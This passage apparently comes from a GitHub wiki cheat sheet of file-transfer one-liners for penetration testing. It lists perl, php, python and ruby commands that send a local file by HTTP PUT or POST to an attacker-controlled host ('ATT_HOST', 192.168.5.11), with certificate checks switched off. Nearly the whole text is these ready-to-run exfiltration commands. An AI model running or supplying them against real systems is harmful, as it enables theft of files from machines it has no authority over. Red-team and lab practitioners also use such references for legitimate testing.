echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(perl -e 'use Env; use Env qw(URL LFILE); use LWP::UserAgent; use HTTP::Request::Common; $ua=LWP::UserAgent->new(); $ua->ssl_opts(verify_hostname=>0); $ua->ssl_opts(SSL_verify_mode=>0); $req=HTTP::Request::Common::POST($URL,Content_Type=>"form-data",Content=>[file=>[$LFILE]]); $res=$ua->request($req); print $res->content;'); echo "[*] REMOTE MD5 (SERVER): $(echo $res | sed -n 's/^.*(MD5 \(\S*\)).*$/\1/p')";

php (HTTP; HTTPS)

https://linux.die.net/man/1/php

TESTED ON: Kali 2023.2

NOTE: uses HTTP PUT

(HTTP/HTTPS)

1. [CLIENT] open terminal session

(open terminal window)

2. [CLIENT] specify file transfer parameters

export ATT_HOST=192.168.5.11;
export ATT_PORT=80;
export ATT_PATH=/;
export LFILE=testfile_200MB;

3. [CLIENT] upload file

export URL=http://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(php -r '$a=array("http"=>array("method"=>"PUT","content"=>file_get_contents(getenv("LFILE")))); $c=stream_context_create($a); $res=@file_get_contents(getenv("URL"),false,$c); echo $res;'); echo "[*] REMOTE MD5 (SERVER): $res";

NOTE: if using HTTPS, replace http with https

(HTTPS with self-signed X.509 certificate)

1. [CLIENT] open terminal session

(open terminal window)

2. [CLIENT] specify file transfer parameters

export ATT_HOST=192.168.5.11;
export ATT_PORT=443;
export ATT_PATH=/;
export LFILE=testfile_200MB;

3. [CLIENT] upload file

export URL=https://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(php -r '$a=array("ssl"=>array("verify_peer"=>false,"verify_peer_name"=>false,),"http"=>array("method"=>"PUT","content"=>file_get_contents(getenv("LFILE")))); $c=stream_context_create($a); $res=@file_get_contents(getenv("URL"),false,$c); echo $res;'); echo "[*] REMOTE MD5 (SERVER): $res";

python (HTTP; HTTPS)

https://linux.die.net/man/1/python

TESTED ON: Kali 2023.2

NOTE: uses HTTP PUT

  • works for both Python 2 and Python 3

(HTTP/HTTPS)

1. [CLIENT] open terminal session

(open terminal window)

2. [CLIENT] specify file transfer parameters

export ATT_HOST=192.168.5.11;
export ATT_PORT=80;
export ATT_PATH=/;
export LFILE=testfile_200MB;

3. [CLIENT] upload file

export URL=http://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(python -c 'from os import environ as e; import requests; url=e["URL"]; file=e["LFILE"]; r=requests.put(url,data=open(file,"rb")); print(r.text);'); echo "[*] REMOTE MD5 (SERVER): $res";

NOTE: if using HTTPS, replace http with https

(HTTPS with self-signed X.509 certificate)

1. [CLIENT] open terminal session

(open terminal window)

2. [CLIENT] specify file transfer parameters

export ATT_HOST=192.168.5.11;
export ATT_PORT=443;
export ATT_PATH=/;
export LFILE=testfile_200MB;

3. [CLIENT] upload file

export URL=https://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(python -c 'from os import environ as e; import requests; url=e["URL"]; file=e["LFILE"]; r=requests.put(url,data=open(file,"rb"),verify=False); print(r.text);'); echo "[*] REMOTE MD5 (SERVER): $res";

ruby (HTTP; HTTPS)

https://linux.die.net/man/1/ruby

TESTED ON: Kali 2023.2

NOTE: uses HTTP PUT

(HTTP/HTTPS)

1. [CLIENT] open terminal session

(open terminal window)

2. [CLIENT] specify file transfer parameters

export ATT_HOST=192.168.5.11;
export ATT_PORT=80;
export ATT_PATH=/;
export LFILE=testfile_200MB;

3. [CLIENT] upload file

export URL=http://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(ruby -e 'require "uri"; require "net/http"; uri=URI(ENV["URL"]); http=Net::HTTP.new(uri.host,uri.port); req=Net::HTTP::Put.new(uri.path); req.body=File.open(ENV["LFILE"],"r") {|io| io.read}; res=http.request(req); p res.body;'); echo "[*] REMOTE MD5 (SERVER): $res";

NOTE: if using HTTPS, replace http with https

(HTTPS with self-signed X.509 certificate)

1. [CLIENT] open terminal session

(open terminal window)

2. [CLIENT] specify file transfer parameters

export ATT_HOST=192.168.5.11;
export ATT_PORT=443;
export ATT_PATH=/;
export LFILE=testfile_200MB;

3. [CLIENT] upload file

export URL=https://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(ruby -e 'require "uri"; require "net/http"; uri=URI(ENV["URL"]); https=Net::HTTP.new(uri.host,uri.port); https.use_ssl=true; https.verify_mode=OpenSSL::SSL::VERIFY_NONE; req=Net::HTTP::Put.new(uri.path); req.body=File.open(ENV["LFILE"],"r") {|io| io.read}; res=https.request(req); p res.body;'); echo "[*] REMOTE MD5 (SERVER): $res";
⚠️ **GitHub.com Fallback** ⚠️